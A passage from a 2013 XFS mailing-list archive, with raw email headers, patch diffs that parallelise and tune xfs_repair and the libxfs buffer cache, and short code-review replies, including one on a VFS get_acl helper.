pthread_mutex_lock(&ag_locks[agno].lock); > state = get_bmap(agno, agbno); > switch (state) { > case XR_E_INO: /* already marked */ > @@ -935,7 +935,7 @@ process_inode_chunk( > XFS_AGB_TO_FSB(mp, agno, agbno), state); > break; > } > - pthread_mutex_unlock(&ag_locks[agno]); > + pthread_mutex_unlock(&ag_locks[agno].lock); > > } else if (irec_offset == XFS_INODES_PER_CHUNK) { > /* > diff --git a/repair/dinode.c b/repair/dinode.c > index 8f14a9e..77bbe40 100644 > --- a/repair/dinode.c > +++ b/repair/dinode.c > @@ -700,8 +700,8 @@ _("Fatal error: inode %" PRIu64 " - blkmap_set_ext(): %s\n" > ebno = agbno + irec.br_blockcount; > if (agno != locked_agno) { > if (locked_agno != -1) > - pthread_mutex_unlock(&ag_locks[locked_agno]); > - pthread_mutex_lock(&ag_locks[agno]); > + pthread_mutex_unlock(&ag_locks[locked_agno].lock); > + pthread_mutex_lock(&ag_locks[agno].lock); > locked_agno = agno; > } > > @@ -770,7 +770,7 @@ _("illegal state %d in block map %" PRIu64 "\n"), > error = 0; > done: > if (locked_agno != -1) > - pthread_mutex_unlock(&ag_locks[locked_agno]); > + pthread_mutex_unlock(&ag_locks[locked_agno].lock); > > if (i != *numrecs) { > ASSERT(i < *numrecs); > diff --git a/repair/globals.h b/repair/globals.h > index aef8b79..cbb2ce7 100644 > --- a/repair/globals.h > +++ b/repair/globals.h > @@ -186,7 +186,10 @@ EXTERN xfs_extlen_t sb_inoalignmt; > EXTERN __uint32_t sb_unit; > EXTERN __uint32_t sb_width; > > -EXTERN pthread_mutex_t *ag_locks; > +struct aglock { > + pthread_mutex_t lock __attribute__((__aligned__(64))); > +}; > +EXTERN struct aglock *ag_locks; > > EXTERN int report_interval; > EXTERN __uint64_t *prog_rpt_done; > diff --git a/repair/incore.c b/repair/incore.c > index 3590464..a8d497e 100644 > --- a/repair/incore.c > +++ b/repair/incore.c > @@ -294,13 +294,13 @@ init_bmaps(xfs_mount_t *mp) > if (!ag_bmap) > do_error(_("couldn't allocate block map btree roots\n")); > > - ag_locks = calloc(mp->m_sb.sb_agcount, sizeof(pthread_mutex_t)); > + ag_locks = calloc(mp->m_sb.sb_agcount, sizeof(struct aglock)); > if (!ag_locks) > do_error(_("couldn't allocate block map locks\n")); > > for (i = 0; i < mp->m_sb.sb_agcount; i++) { > btree_init(&ag_bmap[i]); > - pthread_mutex_init(&ag_locks[i], NULL); > + pthread_mutex_init(&ag_locks[i].lock, NULL); > } > > init_rt_bmap(mp); > diff --git a/repair/scan.c b/repair/scan.c > index 49ed194..f9afdb1 100644 > --- a/repair/scan.c > +++ b/repair/scan.c > @@ -273,7 +273,7 @@ _("bad back (left) sibling pointer (saw %llu should be NULL (0))\n" > agno = XFS_FSB_TO_AGNO(mp, bno); > agbno = XFS_FSB_TO_AGBNO(mp, bno); > > - pthread_mutex_lock(&ag_locks[agno]); > + pthread_mutex_lock(&ag_locks[agno].lock); > state = get_bmap(agno, agbno); > switch (state) { > case XR_E_UNKNOWN: > @@ -319,7 +319,7 @@ _("bad state %d, inode %" PRIu64 " bmap block 0x%" PRIx64 "\n"), > state, ino, bno); > break; > } > - pthread_mutex_unlock(&ag_locks[agno]); > + pthread_mutex_unlock(&ag_locks[agno].lock); > } else { > /* > * attribute fork for realtime files is in the regular > From bfoster@redhat.com Thu Dec 12 12:59:17 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 95A1F29E1F for ; Thu, 12 Dec 2013 12:59:17 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 75A48304062 for ; Thu, 12 Dec 2013 10:59:17 -0800 (PST) X-ASG-Debug-ID: 1386874756-04cb6c537e6e0290001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id LKHYle3WAOt3Bgm7 for ; Thu, 12 Dec 2013 10:59:16 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id rBCIxFLI027652 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 12 Dec 2013 13:59:15 -0500 Received: from laptop.bfoster (vpn-49-17.rdu2.redhat.com [10.10.49.17]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id rBCIxEp0020351 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Thu, 12 Dec 2013 13:59:14 -0500 Message-ID: <52AA0782.8050902@redhat.com> Date: Thu, 12 Dec 2013 13:59:14 -0500 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Dave Chinner , xfs@oss.sgi.com Subject: Re: [PATCH 3/5] repair: phase 6 is trivially parallelisable References: <1386832945-19763-1-git-send-email-david@fromorbit.com> <1386832945-19763-4-git-send-email-david@fromorbit.com> X-ASG-Orig-Subj: Re: [PATCH 3/5] repair: phase 6 is trivially parallelisable In-Reply-To: <1386832945-19763-4-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1386874756 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 12/12/2013 02:22 AM, Dave Chinner wrote: > From: Dave Chinner > > Phase 6 is currently single threaded, but it iterates AGs one at a > time. When there are hundreds of AGs that need scanning, this takes > a long time. Given that all the objects that the AG traversal works > on are per-ag, we can simply parallelise this into a strided AG > processing like phase 3 and 4. > > Unpatched: 8m40s > patched: 1m10s (7 threads) > > Big win! > > Signed-off-by: Dave Chinner > --- > repair/phase6.c | 56 +++++++++++++++++++++++++++++++++++++++++++++++--------- > 1 file changed, 47 insertions(+), 9 deletions(-) > > diff --git a/repair/phase6.c b/repair/phase6.c > index d2d4a44..d82f900 100644 > --- a/repair/phase6.c > +++ b/repair/phase6.c > @@ -51,6 +51,7 @@ typedef struct dotdot_update { > > static dotdot_update_t *dotdot_update_list; > static int dotdot_update; > +static pthread_mutex_t dotdot_lock; > > static void > add_dotdot_update( > @@ -64,12 +65,14 @@ add_dotdot_update( > do_error(_("malloc failed add_dotdot_update (%zu bytes)\n"), > sizeof(dotdot_update_t)); > > + pthread_mutex_lock(&dotdot_lock); > dir->next = dotdot_update_list; > dir->irec = irec; > dir->agno = agno; > dir->ino_offset = ino_offset; > > dotdot_update_list = dir; > + pthread_mutex_unlock(&dotdot_lock); > } > > /* > @@ -2918,34 +2921,68 @@ update_missing_dotdot_entries( > * these entries parents were updated, rebuild them again > * set dotdot_update flag so processing routines do not count links > */ > + pthread_mutex_lock(&dotdot_lock); > dotdot_update = 1; > while (dotdot_update_list) { > dir = dotdot_update_list; > dotdot_update_list = dir->next; > + dir->next = NULL; > + pthread_mutex_unlock(&dotdot_lock); > + > process_dir_inode(mp, dir->agno, dir->irec, dir->ino_offset); > free(dir); > + > + pthread_mutex_lock(&dotdot_lock); > } > + pthread_mutex_unlock(&dotdot_lock); > } Technically the locking here is unnecessary, as this appears to remain single threaded, yes? It doesn't hurt and probably eliminates a potential landmine, so: Reviewed-by: Brian Foster > > static void > traverse_ags( > - xfs_mount_t *mp) > + xfs_mount_t *mp) > { > - int i; > - work_queue_t queue; > + int i, j; > + xfs_agnumber_t agno; > + work_queue_t *queues; > prefetch_args_t *pf_args[2]; > > /* > * we always do prefetch for phase 6 as it will fill in the gaps > * not read during phase 3 prefetch. > */ > - queue.mp = mp; > - pf_args[0] = start_inode_prefetch(0, 1, NULL); > - for (i = 0; i < glob_agcount; i++) { > - pf_args[(~i) & 1] = start_inode_prefetch(i + 1, 1, > - pf_args[i & 1]); > - traverse_function(&queue, i, pf_args[i & 1]); > + if (!ag_stride) { > + work_queue_t queue; > + > + queue.mp = mp; > + pf_args[0] = start_inode_prefetch(0, 1, NULL); > + for (i = 0; i < glob_agcount; i++) { > + pf_args[(~i) & 1] = start_inode_prefetch(i + 1, 1, > + pf_args[i & 1]); > + traverse_function(&queue, i, pf_args[i & 1]); > + } > + return; > } > + > + /* > + * create one worker thread for each segment of the volume > + */ > + queues = malloc(thread_count * sizeof(work_queue_t)); > + for (i = 0, agno = 0; i < thread_count; i++) { > + create_work_queue(&queues[i], mp, 1); > + pf_args[0] = NULL; > + for (j = 0; j < ag_stride && agno < glob_agcount; j++, agno++) { > + pf_args[0] = start_inode_prefetch(agno, 1, pf_args[0]); > + queue_work(&queues[i], traverse_function, agno, > + pf_args[0]); > + } > + } > + > + /* > + * wait for workers to complete > + */ > + for (i = 0; i < thread_count; i++) > + destroy_work_queue(&queues[i]); > + free(queues); > } > > void > @@ -2957,6 +2994,7 @@ phase6(xfs_mount_t *mp) > memset(&zerocr, 0, sizeof(struct cred)); > memset(&zerofsx, 0, sizeof(struct fsxattr)); > orphanage_ino = 0; > + pthread_mutex_init(&dotdot_lock, NULL); > > do_log(_("Phase 6 - check inode connectivity...\n")); > > From bfoster@redhat.com Thu Dec 12 12:59:31 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 6D79D29E24 for ; Thu, 12 Dec 2013 12:59:31 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id E06F6AC002 for ; Thu, 12 Dec 2013 10:59:30 -0800 (PST) X-ASG-Debug-ID: 1386874769-04cb6c537e6e02b0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id k98TuLBNC1zqFc9h for ; Thu, 12 Dec 2013 10:59:29 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id rBCIxRDW013857 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 12 Dec 2013 13:59:28 -0500 Received: from laptop.bfoster (vpn-49-17.rdu2.redhat.com [10.10.49.17]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id rBCIxQWF024066 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 12 Dec 2013 13:59:26 -0500 Message-ID: <52AA078E.90800@redhat.com> Date: Thu, 12 Dec 2013 13:59:26 -0500 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Dave Chinner , xfs@oss.sgi.com Subject: Re: [PATCH 4/5] libxfs: buffer cache hashing is suboptimal References: <1386832945-19763-1-git-send-email-david@fromorbit.com> <1386832945-19763-5-git-send-email-david@fromorbit.com> X-ASG-Orig-Subj: Re: [PATCH 4/5] libxfs: buffer cache hashing is suboptimal In-Reply-To: <1386832945-19763-5-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1386874769 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 12/12/2013 02:22 AM, Dave Chinner wrote: > From: Dave Chinner > > The hashkey calculation is very simplistic,and throws away an amount > of entropy that should be folded into the hash. The result is > sub-optimal distribution across the hash tables. For example, with a > default 512 entry table, phase 2 results in this: > ... > Modify the hash to be something more workable - steal the linux > kernel inode hash calculation and try that: > ... > > Kinda says it all, really... > > Signed-off-by: Dave Chinner > --- Results look nice and the algorithm seems to match the kernel variant, but what about the 32-bit alternate prime/cache line values? Safe to leave out..? Brian > include/cache.h | 4 +++- > libxfs/cache.c | 7 +++++-- > libxfs/rdwr.c | 12 ++++++++++-- > 3 files changed, 18 insertions(+), 5 deletions(-) > > diff --git a/include/cache.h b/include/cache.h > index 76cb234..0a84c69 100644 > --- a/include/cache.h > +++ b/include/cache.h > @@ -66,7 +66,8 @@ typedef void (*cache_walk_t)(struct cache_node *); > typedef struct cache_node * (*cache_node_alloc_t)(cache_key_t); > typedef void (*cache_node_flush_t)(struct cache_node *); > typedef void (*cache_node_relse_t)(struct cache_node *); > -typedef unsigned int (*cache_node_hash_t)(cache_key_t, unsigned int); > +typedef unsigned int (*cache_node_hash_t)(cache_key_t, unsigned int, > + unsigned int); > typedef int (*cache_node_compare_t)(struct cache_node *, cache_key_t); > typedef unsigned int (*cache_bulk_relse_t)(struct cache *, struct list_head *); > > @@ -112,6 +113,7 @@ struct cache { > cache_node_compare_t compare; /* comparison routine */ > cache_bulk_relse_t bulkrelse; /* bulk release routine */ > unsigned int c_hashsize; /* hash bucket count */ > + unsigned int c_hashshift; /* hash key shift */ > struct cache_hash *c_hash; /* hash table buckets */ > struct cache_mru c_mrus[CACHE_MAX_PRIORITY + 1]; > unsigned long long c_misses; /* cache misses */ > diff --git a/libxfs/cache.c b/libxfs/cache.c > index 84d2860..dc69689 100644 > --- a/libxfs/cache.c > +++ b/libxfs/cache.c > @@ -25,6 +25,7 @@ > #include > #include > #include > +#include > > #define CACHE_DEBUG 1 > #undef CACHE_DEBUG > @@ -61,6 +62,7 @@ cache_init( > cache->c_misses = 0; > cache->c_maxcount = maxcount; > cache->c_hashsize = hashsize; > + cache->c_hashshift = libxfs_highbit32(hashsize); > cache->hash = cache_operations->hash; > cache->alloc = cache_operations->alloc; > cache->flush = cache_operations->flush; > @@ -343,7 +345,7 @@ cache_node_get( > int priority = 0; > int purged = 0; > > - hashidx = cache->hash(key, cache->c_hashsize); > + hashidx = cache->hash(key, cache->c_hashsize, cache->c_hashshift); > hash = cache->c_hash + hashidx; > head = &hash->ch_list; > > @@ -515,7 +517,8 @@ cache_node_purge( > struct cache_hash * hash; > int count = -1; > > - hash = cache->c_hash + cache->hash(key, cache->c_hashsize); > + hash = cache->c_hash + cache->hash(key, cache->c_hashsize, > + cache->c_hashshift); > head = &hash->ch_list; > pthread_mutex_lock(&hash->ch_mutex); > for (pos = head->next, n = pos->next; pos != head; > diff --git a/libxfs/rdwr.c b/libxfs/rdwr.c > index 0219a08..0effb9a 100644 > --- a/libxfs/rdwr.c > +++ b/libxfs/rdwr.c > @@ -311,10 +311,18 @@ struct xfs_bufkey { > int nmaps; > }; > > +/* 2^63 + 2^61 - 2^57 + 2^54 - 2^51 - 2^18 + 1 */ > +#define GOLDEN_RATIO_PRIME 0x9e37fffffffc0001UL > +#define CACHE_LINE_SIZE 64 > static unsigned int > -libxfs_bhash(cache_key_t key, unsigned int hashsize) > +libxfs_bhash(cache_key_t key, unsigned int hashsize, unsigned int hashshift) > { > - return (((unsigned int)((struct xfs_bufkey *)key)->blkno) >> 5) % hashsize; > + uint64_t hashval = ((struct xfs_bufkey *)key)->blkno; > + uint64_t tmp; > + > + tmp = hashval ^ (GOLDEN_RATIO_PRIME + hashval) / CACHE_LINE_SIZE; > + tmp = tmp ^ ((tmp ^ GOLDEN_RATIO_PRIME) >> hashshift); > + return tmp % hashsize; > } > > static int > From bfoster@redhat.com Thu Dec 12 12:59:39 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0502329E25 for ; Thu, 12 Dec 2013 12:59:39 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id B3ABD8F8052 for ; Thu, 12 Dec 2013 10:59:38 -0800 (PST) X-ASG-Debug-ID: 1386874772-04bdf05ced41750001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id ns81b1qJ3GXpMaH1 for ; Thu, 12 Dec 2013 10:59:32 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id rBCIxVnj027753 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 12 Dec 2013 13:59:31 -0500 Received: from laptop.bfoster (vpn-49-17.rdu2.redhat.com [10.10.49.17]) by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id rBCIxUwI007416 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 12 Dec 2013 13:59:31 -0500 Message-ID: <52AA0792.6090606@redhat.com> Date: Thu, 12 Dec 2013 13:59:30 -0500 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Dave Chinner , xfs@oss.sgi.com Subject: Re: [PATCH 5/5] repair: limit auto-striding concurrency apprpriately References: <1386832945-19763-1-git-send-email-david@fromorbit.com> <1386832945-19763-6-git-send-email-david@fromorbit.com> X-ASG-Orig-Subj: Re: [PATCH 5/5] repair: limit auto-striding concurrency apprpriately In-Reply-To: <1386832945-19763-6-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1386874772 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com On 12/12/2013 02:22 AM, Dave Chinner wrote: > From: Dave Chinner > > It's possible to have filesystems with hundreds of AGs on systems > with little concurrency and resources. In this case, we can easily > exhaust memory and fail to create threads and have all sorts of > interesting problems. > > xfs/250 can cause this to occur, with failures like: > > - agno = 707 > - agno = 692 > fatal error -- cannot create worker threads, error = [11] Resource temporarily unavailable > > And this: > > - agno = 484 > - agno = 782 > failed to create prefetch thread: Resource temporarily unavailable > > Because it's trying to create more threads than a poor little 512MB > single CPU ia32 box can handle. > > So, limit concurrency to a maximum of numcpus * 8 to prevent this. > > Signed-off-by: Dave Chinner > --- Reviewed-by: Brian Foster > include/libxfs.h | 1 + > libxfs/init.h | 1 - > repair/xfs_repair.c | 18 +++++++++++++++++- > 3 files changed, 18 insertions(+), 2 deletions(-) > > diff --git a/include/libxfs.h b/include/libxfs.h > index 4bf331c..39e3d85 100644 > --- a/include/libxfs.h > +++ b/include/libxfs.h > @@ -144,6 +144,7 @@ extern void libxfs_device_close (dev_t); > extern int libxfs_device_alignment (void); > extern void libxfs_report(FILE *); > extern void platform_findsizes(char *path, int fd, long long *sz, int *bsz); > +extern int platform_nproc(void); > > /* check or write log footer: specify device, log size in blocks & uuid */ > typedef xfs_caddr_t (libxfs_get_block_t)(xfs_caddr_t, int, void *); > diff --git a/libxfs/init.h b/libxfs/init.h > index f0b8cb6..112febb 100644 > --- a/libxfs/init.h > +++ b/libxfs/init.h > @@ -31,7 +31,6 @@ extern char *platform_findrawpath (char *path); > extern char *platform_findblockpath (char *path); > extern int platform_direct_blockdev (void); > extern int platform_align_blockdev (void); > -extern int platform_nproc(void); > extern unsigned long platform_physmem(void); /* in kilobytes */ > extern int platform_has_uuid; > > diff --git a/repair/xfs_repair.c b/repair/xfs_repair.c > index 7beffcb..0d006ae 100644 > --- a/repair/xfs_repair.c > +++ b/repair/xfs_repair.c > @@ -627,13 +627,29 @@ main(int argc, char **argv) > * to target these for an increase in thread count. Hence a stride value > * of 15 is chosen to ensure we get at least 2 AGs being scanned at once > * on such filesystems. > + * > + * Limit the maximum thread count based on the available CPU power that > + * is available. If we use too many threads, we might run out of memory > + * and CPU power before we run out of IO concurrency. > */ > if (!ag_stride && glob_agcount >= 16 && do_prefetch) > ag_stride = 15; > > if (ag_stride) { > + int max_threads = platform_nproc() * 8; > + > thread_count = (glob_agcount + ag_stride - 1) / ag_stride; > - thread_init(); > + while (thread_count > max_threads) { > + ag_stride *= 2; > + thread_count = (glob_agcount + ag_stride - 1) / > + ag_stride; > + } > + if (thread_count > 0) > + thread_init(); > + else { > + thread_count = 1; > + ag_stride = 0; > + } > } > > if (ag_stride && report_interval) { > From andreas.gruenbacher@linbit.com Thu Dec 12 13:06:16 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C18EC7F6A for ; Thu, 12 Dec 2013 13:06:16 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id A1758304053 for ; Thu, 12 Dec 2013 11:06:13 -0800 (PST) X-ASG-Debug-ID: 1386875170-04bdf013231ee550001-NocioJ Received: from zimbra13.linbit.com (zimbra13.linbit.com [212.69.166.240]) by cuda.sgi.com with ESMTP id Jdd4lYwafV7lvchL for ; Thu, 12 Dec 2013 11:06:11 -0800 (PST) X-Barracuda-Envelope-From: andreas.gruenbacher@linbit.com X-Barracuda-Apparent-Source-IP: 212.69.166.240 Received: from localhost (localhost [127.0.0.1]) by zimbra13.linbit.com (Postfix) with ESMTP id E71AE2C178A; Thu, 12 Dec 2013 20:06:09 +0100 (CET) Received: from zimbra13.linbit.com ([127.0.0.1]) by localhost (zimbra13.linbit.com [127.0.0.1]) (amavisd-new, port 10032) with ESMTP id lMlQdxoegpaf; Thu, 12 Dec 2013 20:06:09 +0100 (CET) Received: from localhost (localhost [127.0.0.1]) by zimbra13.linbit.com (Postfix) with ESMTP id B55332C1ED4; Thu, 12 Dec 2013 20:06:09 +0100 (CET) X-Virus-Scanned: amavisd-new at linbit.com Received: from zimbra13.linbit.com ([127.0.0.1]) by localhost (zimbra13.linbit.com [127.0.0.1]) (amavisd-new, port 10026) with ESMTP id F1FuBF0nHwxo; Thu, 12 Dec 2013 20:06:09 +0100 (CET) Received: from zimbra13.linbit.com (zimbra13.linbit.com [212.69.166.240]) by zimbra13.linbit.com (Postfix) with ESMTP id 864AC2C1ECC; Thu, 12 Dec 2013 20:06:09 +0100 (CET) Date: Thu, 12 Dec 2013 20:06:09 +0100 (CET) From: Andreas Gruenbacher To: Christoph Hellwig Cc: viro@zeniv.linux.org.uk, linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org, Jan Kara Message-ID: <1724169901.69108.1386875169382.JavaMail.zimbra@linbit.com> In-Reply-To: <20131211104526.648135334@bombadil.infradead.org> References: <20131211104243.148113893@bombadil.infradead.org> <20131211104526.648135334@bombadil.infradead.org> Subject: Re: [PATCH 02/18] fs: add get_acl helper MIME-Version: 1.0 X-ASG-Orig-Subj: Re: [PATCH 02/18] fs: add get_acl helper Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Originating-IP: [178.165.132.32] X-Mailer: Zimbra 8.0.5_GA_5839 (ZimbraWebClient - FF24 (Linux)/8.0.5_GA_5839) Thread-Topic: add get_acl helper Thread-Index: 3hs1rrHS7fOfQlqE6m5XA54F+EJTKg== X-Barracuda-Connect: zimbra13.linbit.com[212.69.166.240] X-Barracuda-Start-Time: 1386875171 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.02 X-Barracuda-Spam-Status: No, SCORE=0.02 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=THREAD_INDEX, THREAD_TOPIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143046 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... Christoph, > +struct posix_acl *get_acl(struct inode *inode, int type) > +{ > + struct posix_acl *acl; > + > + acl = get_cached_acl(inode, type); > + if (acl != ACL_NOT_CACHED) > + return acl; > + > + if (!IS_POSIXACL(inode)) > + return NULL; > + > + /* > + * A filesystem can force a ACL callback by just never filling the > + * ACL cache. But normally you'd fill the cache either at inode > + * instantiation time, or on the first ->get_acl call. > + * > + * If the filesystem doesn't have a get_acl() function at all, we'll > + * just create the negative cache entry. > + */ > + if (!inode->i_op->get_acl) { > + set_cached_acl(inode, type, NULL); > + return ERR_PTR(-EAGAIN); The function should return NULL here. Andreas From andreas.gruenbacher@linbit.com Thu Dec 12 13:07:26 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 18B7B7F6A for ; Thu, 12 Dec 2013 13:07:26 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 02E5F8F8065 for ; Thu, 12 Dec 2013 11:07:22 -0800 (PST) X-ASG-Debug-ID: 1386875241-04cb6c537c6e05f0001-NocioJ Received: from zimbra13.linbit.com (zimbra13.linbit.com [212.69.166.240]) by cuda.sgi.com with ESMTP id GaNeeWvQvHrgsaFR for ; Thu, 12 Dec 2013 11:07:21 -0800 (PST) X-Barracuda-Envelope-From: andreas.gruenbacher@linbit.com X-Barracuda-Apparent-Source-IP: 212.69.166.240 Received: from localhost (localhost [127.0.0.1]) by zimbra13.linbit.com (Postfix) with ESMTP id 1349B2C1B33; Thu, 12 Dec 2013 20:07:21 +0100 (CET) Received: from zimbra13.linbit.com ([127.0.0.1]) by localhost (zimbra13.linbit.com [127.0.0.1]) (amavisd-new, port 10032) with ESMTP id j5yPag20O-5g; Thu, 12 Dec 2013 20:07:21 +0100 (CET) Received: from localhost (localhost [127.0.0.1]) by zimbra13.linbit.com (Postfix) with ESMTP id E7EBE2C1ECC; Thu, 12 Dec 2013 20:07:20 +0100 (CET) X-Virus-Scanned: amavisd-new at linbit.com Received: from zimbra13.linbit.com ([127.0.0.1]) by localhost (zimbra13.linbit.com [127.0.0.1]) (amavisd-new, port 10026) with ESMTP id A_tGLhT0HS_P; Thu, 12 Dec 2013 20:07:20 +0100 (CET) Received: from zimbra13.linbit.com (zimbra13.linbit.com [212.69.166.240]) by zimbra13.linbit.com (Postfix) with ESMTP id BF8F12C1B33; Thu, 12 Dec 2013 20:07:20 +0100 (CET) Date: Thu, 12 Dec 2013 20:07:20 +0100 (CET) From: Andreas Gruenbacher To: Christoph Hellwig Cc: viro@zeniv.linux.org.uk, linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org, Jan Kara Message-ID: <389888733.69110.1386875240679.JavaMail.zimbra@linbit.com> In-Reply-To: <20131211104527.223923019@bombadil.infradead.org> References: <20131211104243.148113893@bombadil.infradead.org> <20131211104527.223923019@bombadil.infradead.org> Subject: Re: [PATCH 05/18] fs: make 